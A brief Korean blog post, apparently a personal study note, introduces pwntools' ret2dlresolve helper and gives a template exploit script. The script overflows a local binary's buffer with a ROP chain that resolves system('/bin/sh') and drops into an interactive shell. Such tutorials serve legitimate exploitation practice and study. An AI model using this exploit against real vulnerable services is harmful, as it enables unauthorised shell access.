Technique

pwntools - ret2dlresolve

Rasser 2021. 12. 13. 19:34
728x90

Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다.

https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html

 

pwnlib.rop.ret2dlresolve — Return to dl_resolve — pwntools 4.7.0 documentation

A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve

docs.pwntools.com

from pwn import *

context.binary = elf = ELF('바이너리')
rop = ROP(context.binary)

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\x00"]) # (바이너리, 찾고자 하는 함수, 함수의 인자)
rop.gets(dlresolve.data_addr) # 함수를 실행. 예를들어 read로 입력을 받으면, rop.read(0, buf) 이렇게
rop.ret2dlresolve(dlresolve) # rop를 위해 더해준다?
raw_rop = rop.chain()

p = elf.process()
p.sendline(b'A'*0x88+raw_rop) # ret에 ropchain을 더해준다.
p.sendline(dlresolve.payload) # 다음으로 read나 gets가 실행될때, payload를 입력
p.interactive()

사용 방법은 다음 코드를 참조

728x90